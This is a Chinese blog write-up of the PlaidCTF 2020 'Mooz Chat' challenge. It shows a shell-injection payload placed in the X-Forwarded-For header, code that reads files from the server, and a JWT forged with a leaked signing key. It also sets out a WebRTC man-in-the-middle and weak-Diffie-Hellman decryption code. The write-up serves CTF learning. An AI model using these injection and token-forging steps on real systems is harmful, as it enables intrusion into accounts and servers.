PlaidCTF2020 Mooz Chat 复盘

Stella981
• 阅读 621

前言

Part 1 (150 pts) —7 solves pasten A0E Tea Deliverers

Part 2 (400 pts) — 1 solves pasten

Part 1: Tom Nook and Isabelle have been exchanging text messages over Mooz recently. Is Tom Nook looking for something besides bells these days?

Part 2: Timmy and Tommy are now using Mooz to manage their store from a safe distance. Thankfully their video chats are end-to-end encrypted so nobody can steal their secrets.

知识点

  • Part1: 命令注入、JWT泄露
  • Part2:中间人攻击获取数据包、64 bit Diffie-Hellman (使用GFNS算法分解)

逆向部分

安装IDAGolangHelper插件

绑定的路由以及对应处理的handle

App_handleRequest(main_handleLogin, /api/login)
App_handleRequest(main_handleRegister, /api/register)
App_handleRequest(main_handleMessage, /api/message)
App_handleRequest(main_handleHost, /api/host)
App_handleRequest(main_handleFind, /api/find)
App_handleRequest(main_handleJoin, /api/join)
App_handleRequest(main_handleJoin, /api/profile)
App_handleRequest(main_handleAvatar, /api/avatar)
App_handleRequest(main_handleadminUsers, /api/adminusers)
App_handleRequest(main_handleAdminRooms, /api/rooms)
App_handleRequest(main_handleAdminMessages, /api/messages)

相关信息

https://github.com/sibears/IDAGolangHelper    // IDA GO插件
https://github.com/gorilla/mux  // 题目使用mux框架做路由

https://github.com/aiortc/aiortc   // 实现中间人所使用的库
aiortc的安装有点坑
https://en.wikipedia.org/wiki/General_number_field_sieve //GNFS求解离散对数算法

Part 1

漏洞点

在main_sandboxCmd中,存在执行命令的功能,且命令中部分内容可控,因此可以进行命令注入

调用顺序

main_handleProfile  > main_getAvatar > main_sandboxCmd

在 main_getAvatar中有两处调用 main_sandboxCmd,是为了对Post的avatar内容进行处理,处理完的结果会base返回给用户

第一处为

convert -size %dx%d xc:none -bordercolor %s -border 0 -pointsize 32 -font %s -gravity center -draw "text 0,2 %c" png:- | base64 -w0

第二处为

base64 -d | convert -comment 'uploaded by %s' - -resize %dx%d png:- | base64 -w0

其中第二处的 uploaded by %s由 main_getIPAddr 获得,main_getIPAddr会从请求头中的 X-Forwarded-For取出,而X-Forwarded-For是我们可控的,因此只需要在X-Forwarded-For中进行注入即可

headers = {
        "X-Forwarded-For": "1.1.1.1' | echo $(%s | base64 -w0) MAGICMAGIC '" % command,
    }

该操作需要一个授权用户,因此需要先进行登录获取一个合法用户的token再命令注入

>>> print(run_command("ps").decode())
PID TTY      STAT   TIME COMMAND
    1 ?        SNs    0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0
    4 ?        SN     0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0
    5 ?        SN     0:00 base64 -w0
    6 ?        SN     0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0
    7 ?        RN     0:00 ps ax
    8 ?        RN     0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0

通过注入ps命令观察到,程序应该是跑在沙箱中的,后面发现是用nsjail启动的

>>> print(run_command("ls").decode()) 
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

发现比较敏感的start.sh , 需要分段读取start.sh,否则太大了

def read_file(file_name):
    d = b''
    index = 0
    while True:
        dd = run_command("dd if=%s bs=1 count=4096 skip=%d" % (file_name, index))
        if not dd:
            return d
        d += dd
        index += 4096

获取到 start.sh 的内容

#!/bin/bash
nginx
······
export JWT_KEY="Pl4idC7F2020"
······

获得JWT_KEY为Pl4idC7F2020,由题干中知道我们的目标是登录tomnook账户,看一下x-chat-authorization中的JWT组成

{
    "ipaddr": "xxx.xxx.xxx.xxx",
    "username": "xxx"
}

然后就可以构造出tomnook账户的token了

MY_IP = "your ip address"
JWT = "Pl4idC7F2020"
def get_messages():
    token = {'ipaddr': MY_IP, 'username': 'tomnook'}

    url = "https://chat.mooz.pwni.ng/api/messages"
    headers = {
        "x-chat-authorization": jwt.encode(token, JWT),
    }
    r=requests.get(url,proxies = proxies ,verify= False, headers=headers);

    assert r.status_code == 200
    return json.loads(r.text)

获得第一个flag

[······{u'to': u'tomnook', u'from': u'isabelle', u'data': u'pctf{aModestSumOfShells}'}]

Part 2

现在已经可以登录tomnook账户了,通过 /api/rooms获取房间列表

[{"_id": "000000000000000000000000", "host": "timmy_fc87dfa4", "room": "shop_c0ddd565"}, {"_id": "000000000000000000000000", "host": "timmy_446c2ede", "room": "shop_9415eba1"}]

可以观察到timmy一直在创建房间,每一次都用一个不同的后缀创建(后缀),查看一下前端webpack中chat.js创建房间和加入房间的逻辑

const rtcConfiguration = {
    iceServers: [
        { urls: 'turn:45.79.56.244', username: 'user', credential: 'passpass' }
    ]
}
const dataChannelInit = {
    negotiated: true,
    id: 0
}
······
async chatHost(room, password) {
    this.chatReset()
    try {
        this.connection = await this.createPeerConnection()
        this.channel = this.createDataChannel(this.connection)
        const offer = await this.connection.createOffer()
        await this.connection.setLocalDescription(offer)
        const data = await this.api.host(room, offer)
        this.room = data.room
        this.peer = data.username
        this.packetizer = this.newPacketizer(true, password || '')
        await this.connection.setRemoteDescription(data.answer)
        this.connected = true
        this.sendPendingCandidates()
        this.processPeerCandidates()
    } catch (e) {
        this.chatReset()
        console.log(e)
        return false
    }
    return true
}

async chatJoin(room, password) {
    this.chatReset()
    const data = await this.api.find(room)
    this.connection = await this.createPeerConnection()
    try {
        this.channel = this.createDataChannel(this.connection)
        this.room = data.room
        this.peer = data.username
        this.packetizer = this.newPacketizer(false, password || '')
        await this.connection.setRemoteDescription(data.offer)
        const answer = await this.connection.createAnswer()
        await this.connection.setLocalDescription(answer)
        await this.api.join(this.room, answer)
        this.connected = true
        this.sendPendingCandidates()
        this.processPeerCandidates()
    } catch (e) {
        this.chatReset()
        console.log(e)
        return false
    }
    return true
}

chatHost流程大致为创建WebRTC连接,创建Channel给其他用户发送ICE candidates消息,这些消息可以通过 /api/message获得,ICE candidates帮助建立端对端的连接,相当于一个 peer connection 列表

建议阅读一下:https://webrtc.org/getting-started/peer-connections

同样的,chatJoin也会发送类似的消息

[{"to":"a123123","from":"timmy_eb0e6172","type":"ice","data":"{\"candidate\":\"candidate:1876313031 1 tcp 1518091519 ::1 34945 typ host tcptype passive generation 0 ufrag 83oP network-id 5\",\"sdpMid\":\"0\",\"sdpMLineIndex\":0,\"foundation\":\"1876313031\",\"component\":\"rtp\",\"priority\":1518091519,\"address\":\"::1\",\"protocol\":\"tcp\",\"port\":34945,\"type\":\"host\",\"tcpType\":\"passive\",\"relatedAddress\":null,\"relatedPort\":null,\"usernameFragment\":\"83oP\"}"}]

通道建立以后,消息机制如下

async onOpenChannel() {
        console.log('open')

        if (this.peerConnected) {
            return
        }
        this.peerConnected = true

        this.channel.onmessage = (e) => {
            const wasReady = this.packetizer.isReady()
            const ptr = Module._malloc(e.data.byteLength)
            Module.HEAP8.set(new Uint8Array(e.data), ptr)
            this.packetizer.processData(ptr, e.data.byteLength)
            Module._free(ptr)
            
            this.flushPacketizer()
            if (this.packetizer) {
                if (this.packetizer.isReady() && !wasReady) {
                    this.currentPeer = this.peer
                    if (this.options.onPeerConnected) {
                        this.options.onPeerConnected()
                    }
                }
                
                const dataType = this.packetizer.getDataType()
                if (dataType >= 0) {
                    const dataPtr = this.packetizer.getData()
                    const dataSize = this.packetizer.getDataSize()
                    const data = new Uint8Array(Module.HEAP8.slice(dataPtr, dataPtr + dataSize))

                    switch (dataType) {
                    case 0:
                        if (this.options.onVideoData) {
                            this.options.onVideoData(data)
                        }
                        break
                    case 1:
                        if (this.options.onSecureMessage) {
                            const decoder = new TextDecoder()
                            this.options.onSecureMessage(this.peer, decoder.decode(data))
                        }
                        break
                    case 255:
                        this.disconnectPeer()
                        break
                    default:
                        console.error(`Unknown peer message: type=${dataType}, data=${data}`)
                        break
                    }
                }
            }
        }
        this.flushPacketizer()
    }
    
newPacketizer(hosting, password) {
        const rand = new Uint8Array(64)
        this.options.getRandomValues(rand)
        const randPtr = Module._malloc(rand.byteLength)
        Module.HEAP8.set(rand, randPtr)
        const nonce = hosting ? this.api.username + "\n" + this.peer : this.peer + "\n" + this.api.username
        const packetizer = new Module.Connection(hosting, nonce, password, randPtr, rand.byteLength)
        Module._free(randPtr)
        return packetizer
    }    

其中packetizer的具体实现再webassembly.wasm里,需要逆wasm

下载webassembly.wasm,要通过url下载,不要在f12里下载,用wasm2c转成c代码,编译后丢进IDA中,具体过程就不详细说了,网上很多资料

从wasm中提取出以下主要的方法,这些函数名也可以从f12里看到

Connection(host, nonce, password, seed, seed_size) // the constructor
processData(self, data, size)
sendData(self, type, data, size)
isRead(self)
isError(self)
getOutput(self)
consumeOutput(self)
getData(self)
getDataSize(self)
getDataType(self)

其中Packetizer的实例化过程中用到了几个参数

  • nonce 其构造格式为\n

  • password 密钥

  • randPtr 随机种子

    newPacketizer(hosting, password) { const rand = new Uint8Array(64) this.options.getRandomValues(rand) const randPtr = Module._malloc(rand.byteLength) Module.HEAP8.set(rand, randPtr) const nonce = hosting ? this.api.username + "\n" + this.peer : this.peer + "\n" + this.api.username const packetizer = new Module.Connection(hosting, nonce, password, randPtr, rand.byteLength) Module._free(randPtr) return packetizer }

逆向wasm得到协议细节

// Connection__Connection_bool__char___char___void___unsigned_int_
Connection::Connection(...) {
    this->state = 0;
    RAND_seed(seed, seed_size);
    AES_set_encrypt_key(128, SHA1(password)[:16], nonce_encryptor);
    AES_encrypt(nonce, this->encrypted_nonce, nonce_encryptor);
    AES_encrypt(nonce+16, this->encrypted_nonce+16, nonce_encryptor);
    Connection::setup(this);
}

// Connection__setup__    
Connection::setup() {
    if (hosting) {
        // Create the first packet
        dh = DH_new();
        DH_generate_parameters_ex(dh, 64, 2, 0);
        dh_param_length = i2d_DHparams(dh, dh_param);
        DH_generate_key(dh);
        dh_pub_key = DH_get_pub_key(dh);
        write_byte_to_packet(0);
        write_word_to_packet(dh_param_length);
        write_bytes_to_packet(dh_param, dh_param_length);
        dh_pub_key_bits = BN_num_bits(dh_pub_key);
        write_word_to_packet((dh_pub_key_bits+7)/8);
        write_bytes_to_packet(dh_pub_key, (dh_pub_key_bits+7)/8);
    }
}

// Connection__processData_void_const___int_
Connection::processData(this, data, data_length) {
    packet_state = read_byte_from_packet();
    // check that packet_state == this->state
    switch (packet_state) {
    case 0: // initialize connection
        if (hosting) {
            // ...
        }
        else {
            // loads the dh params from packet
            DH_generate_key(dh);
            dh_pub_key = DH_get_pub_key(dh);
            write_byte_to_packet(0);
            dh_pub_key_bits = BN_num_bits(dh_pub_key);
            write_word_to_packet((dh_pub_key_bits+7)/8);
            write_bytes_to_packet(dh_pub_key, (dh_pub_key_bits+7)/8);
            DH_compute_key(shared_key, other_pub_key, dh); // 8 bytes
            key = SHA1("0123425234234fsdfsdr3242" + shared_key)[:16];
            AES_set_encrypt_key(128, key, this->send_encryptor);
            AES_set_decrypt_key(128, key, this->recv_decryptor);
            AES_encrypt(this->encrypted_nonce, encrypted_nonce, this->send_encryptor);
            write_bytes_to_packet(encrypted_nonce, 32);
            this->state = 1;
        }
        break;
    case 1:
        // not interseting, basically change to state to 2
        ...
    case 2: // connection ready
        this->data_type = read_byte_from_packet();
        this->data_len = read_word_from_packet();
        // decrypt the data with this->recv_decryptor
    }
}

其中建立连接的数据包格式

Host -> Client:

BYTE - state - 0
WORD - DH parameters length
BYTE[] - DH parameters
WORD - DH public key length
BYTE[] - DH public key (for the connection key)

Client-> Host:

BYTE - state - 0
WORD - DH public key length
BYTE[] - DH public key (for the connection key)
BYTE[32] - encrypted nocne (with password and the connection key)

Host->Clinet:

BYTE - state - 1

传送数据

BYTE - state - 2
BYTE - data type (0 - video data, 1 - text message, 255 - disconnect)
WORD - data length
BYTE[] - data encrypted with the connection key

采用 64 bits 的DH来协商会话密钥,然而,64 bits DH的安全性太弱,可以使用GNFS算法来求解离散对数难题,如果我们能够获得timmy和tommy的通信数据,从中得到DH协商过程的参数,那么我们就可以使用NFS来求解离散对数

那么如何获取通信数据,就要靠中间人攻击了,说实话,MITM在CTF里还是比较少见

中间人攻击步骤

  1. 通过/api/rooms找到timmy创建的房间
  2. 通过 /api/join/<room_name> 加入房间 , 与 timmy建立WebRTC连接
  3. 通过 /api/host/<room_name> 建立与之前加入房间同名的房间,等待tommy加入 ,与 Tommy建立起WebRTC连接
  4. 通信并获取通信数据包
  5. 离线破解DH keys
  6. 解密AES加密的通信数据

注意到

  • 我们需要保证作为peer的中间人与作为host的中间人这两个通信的nonce是一样的,而nonce是由host和peer的username构成的,因此我们需要保证他们的名称相同。
  • 由于是p2p连接,因此当第二步加入房间以后,timmy建立的房间信息会消失,因此后面再建立一个同名房间是没有问题的

要实现中间人攻击需要用使用支持WebRTC协议的库,使用 aiortc来实现中间人攻击,主要逻辑为

  • 获取 rooms
  • 选择某个 timmy 建立的房间,比如timmy_abcdefgh
  • 用 tommy_abcdefgh 的身份加入房间
  • 使用 timmy_abcdefgh的身份再创建房间(有JWT_KEYS)
  • 假设作为peer加入房间的通信为 channel1,作为host创建的房间的通信为 channel2
  • 将channel1发来的数据转发给channel2,将channel2回应的数据转发给 channel1从而实现中间人的过程

得到数据(我已经按照协议细节用空格划分了一下)

H: b'00 0010 300e020900f142e55f240288a3020102 0008 3255cf918dd81e89'
C: b'00 0008 75781b2554f4927f baca5f08511f02c37ccef8515ff78c4f6b551247e6bb13841792d6b386b1f3a0'
H: b'01'
....

根据前面逆出来的协议,DH所使用的参数为

g=2
p=17384709708392335523
g**x=3627033298973761161




g**y = 8464545346795901567

64位的DH是可以使用 GNFS 算法来在合理的时间内破解的 ,全场唯一做出这道题的 pasten 使用了 GDLOG 来实现求解,相关的使用过程就不在这里赘述了,求解出x的值,由于DH中shared secret的值为 g**(x*y) mod p 所以,我们只需要计算 (g**y)**x mod p就可以得到shared secret

In [1]: hex(pow(gy, x, p))
Out[1]: '0x7c35faf0dad285c9'

然后解密

data = b''
aes = AES.new(hashlib.sha1(b"0123425234234fsdfsdr3242" + codecs.decode("7c35faf0dad285c9", "hex")).digest()[:16])
for packet in packets:
    state = packet[0]
    if state != 2:
        continue
    ptype, length = struct.unpack(">BH", packet[1:4])
    data += aes.decrypt(packet[4:])[:length]
open("video.webm", "wb").write(data)

得到一段timmy和tommy之间端对端的video chat,flag在图像里

pctf{TurnipFireSale}

总结

比赛的时候没来得及看这道题(看了也做不出来 :( ,赛后复盘,觉得这道题目考察的能力比较综合,涉及到 Web + Re + Crypto ,而且中间人的点出在web里是比较新颖的一个点了。

CTF实验室 http://hetianlab.com/pages/CTFLaboratory.jsp PlaidCTF2020  Mooz Chat 复盘

点赞
收藏
评论区
推荐文章
blmius blmius
2年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
Jacquelyn38 Jacquelyn38
2年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
Wesley13 Wesley13
2年前
java将前端的json数组字符串转换为列表
记录下在前端通过ajax提交了一个json数组的字符串,在后端如何转换为列表。前端数据转化与请求varcontracts{id:'1',name:'yanggb合同1'},{id:'2',name:'yanggb合同2'},{id:'3',name:'yang
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
Wesley13 Wesley13
2年前
Java获得今日零时零分零秒的时间(Date型)
publicDatezeroTime()throwsParseException{    DatetimenewDate();    SimpleDateFormatsimpnewSimpleDateFormat("yyyyMMdd00:00:00");    SimpleDateFormatsimp2newS
Wesley13 Wesley13
2年前
mysql设置时区
mysql设置时区mysql\_query("SETtime\_zone'8:00'")ordie('时区设置失败,请联系管理员!');中国在东8区所以加8方法二:selectcount(user\_id)asdevice,CONVERT\_TZ(FROM\_UNIXTIME(reg\_time),'08:00','0
Wesley13 Wesley13
2年前
00:Java简单了解
浅谈Java之概述Java是SUN(StanfordUniversityNetwork),斯坦福大学网络公司)1995年推出的一门高级编程语言。Java是一种面向Internet的编程语言。随着Java技术在web方面的不断成熟,已经成为Web应用程序的首选开发语言。Java是简单易学,完全面向对象,安全可靠,与平台无关的编程语言。
Stella981 Stella981
2年前
Django中Admin中的一些参数配置
设置在列表中显示的字段,id为django模型默认的主键list_display('id','name','sex','profession','email','qq','phone','status','create_time')设置在列表可编辑字段list_editable
Wesley13 Wesley13
2年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
Python进阶者 Python进阶者
2个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这